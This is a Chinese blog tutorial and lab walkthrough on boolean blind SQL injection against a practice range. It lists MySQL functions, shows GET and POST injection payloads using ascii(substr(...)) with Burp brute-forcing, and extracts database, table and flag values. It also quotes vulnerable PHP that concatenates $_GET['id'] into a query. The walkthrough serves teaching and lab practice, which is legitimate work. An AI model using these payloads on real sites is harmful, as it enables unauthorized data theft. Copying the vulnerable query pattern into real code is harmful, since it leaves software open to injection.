布尔盲注

发布于 2022-03-16  182 次阅读


首先介绍常用函数

length(str)    返回字符串str的长度
limit a,b      限制返回结果从a开始,返回结果数量为b

left(m,n)      从左向右截取字符串m返回其前n位
right(m,n)       从右向左截取字符串m返回其后几位
substr(m,1,2)  取字符串m的左边第一位起,2字长的字符串
mid(str,start,[length])   从str中提取字符串,start为开始位置,length为截取长度 

ascii(m)   返回字符m的ASCII码 同ord()
bin(x)     返回字符的二进制编码
binary(s)  将字符串s转换成二进制字符串

if(str1,str2,str3)   如果str1正确就执行str2,否则执行str3
sleep(m)   使程序暂停m秒
count(column_name)   返回指定列的值的数目
image-20211207174313683

什么是盲注?

盲注就是目标页面没有任何回显的时候进行sql注入尝试,这里的回显是指查询的结果,错误提示等等的信息。

布尔盲注就是回显结果只有两种,true 和 false

靶场实操(布尔盲注)

0x00 Rank 1

and 1=1and 1=2判断一波

image-20211206233312665
image-20211206233359788

判断存在注入,但是在查询结果存在只会返回有数据,而查询不到则是no results found,这就是典型的盲注

于是就通过构造语句,对想要查询的结果分开来分析判断,看操作吧!

image-20211206233942227

order by判断出有两个字段,然后构造一下查看数据库名的payload

union select database(),2 -- qwe
image-20211206234206133

并判断不出来数据库名是啥,所以使用函数进行判断

length函数判断数据库名长度

判断出数据库名长度为12

image-20211206235427765

然后使用substr()函数进行截取,一位一位猜解数据库名,这里比较复杂,所以采用burp进行爆破

image-20211207001029877

猜解出来数据库名对应的ascii值

107 97 110 119 111 108 111 110 103 120 105 97

image-20211207073208086

数据库名为kanwolongxia

然后进行表的查询

image-20211207074913620

首先该数据库中存在三个表

image-20211207075734527

第一个表名长度为6

image-20211207080447821

爆出第一个表ascii码值是 108 111 102 108 97 103 为 loflag

相同方法爆出另外两个表分别为newsuser

image-20211207081155276

110 101 119 115

image-20211207081514289

117 115 101 114

然后查看loflag表中的字段

image-20211207081914362

存在两列

image-20211207180315867

第一个字段为 73 100 即Id

image-20211207180622850

第二个字段为 102 108 97 103 108 111 即 flaglo

OK,最后查看一下flaglo的值是什么

image-20211207181406973

存在五个值,分别爆出来

image-20211207182735573

第一个数据 122 75 97 81 45 81 81 81 zKaQ-QQQ

image-20211207183100184

第二个数据 122 75 97 81 45 82 68 即 zKaQ-RD

image-20211207200544718

第三个数据 122 75 97 81 45 77 111 114 101 110 即 zKaQ-Moren

image-20211207200841943

第四个数据 122 75 97 81 45 116 105 109 101 45 104 106 即 zKaQ-time-hj

image-20211207201328525

第五个数据 122 75 97 81 45 116 105 109 101 45 122 120 120 122 即 zKaQ-time-zxxz

OK·bool盲注第一关结束!

源码分析

$news ='';
@$id = $_GET['id']; // 第一关是get传参
@$sql = 'select *from news where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
if($news!== ''){ // 这里是盲注的原因,结果正确只会告诉有数据,并不会返回查询的结果等信息!
echo '有数据';}

而显错注入会将username、id 等信息返回页面

image-20211207213201168

0x01 Rank 2

做法与第一关相同,但这一关闭合方式为双引号闭合

image-20211207203557288

其他操作均一致

这里不再解释,给一张获得正确flag的截图和payload

1%22%20and%20ascii(substr((select%20flaglo%20from%20loflag%20limit%201%2C1)%2C1%2C1))%3D1--%20qwe
image-20211207210312903

flag为 122 75 97 81 45 82 68 即 zKaQ-RD

0x02 Rank 3

image-20211207210550902

显然这一关是post注入的盲注了!方法还是一样的,只是注入点不一样了,post传参

先测试闭合方式,单引号闭合,万能密码登录成功,可见密码正确回显密码正确,错误回复错误,布尔盲注

image-20211207210942101

抓包进行注入,注入点为post传参位置,注入方式仍然一样

' or ascii(substr((select flaglo from loflag limit 2,1),1,1))=1-- qwe
image-20211207211329904

抓包进行数据爆破即可

image-20211207211733441

flag为 122 75 97 81 45 77 111 114 101 110 即 zKaQ-Moren

总结

盲注的方法就是利用一些sql自带的函数进行对数据的猜解,通过页面不同的回显状态进行判断,从而得知想获取的数据


本当の声を響かせてよ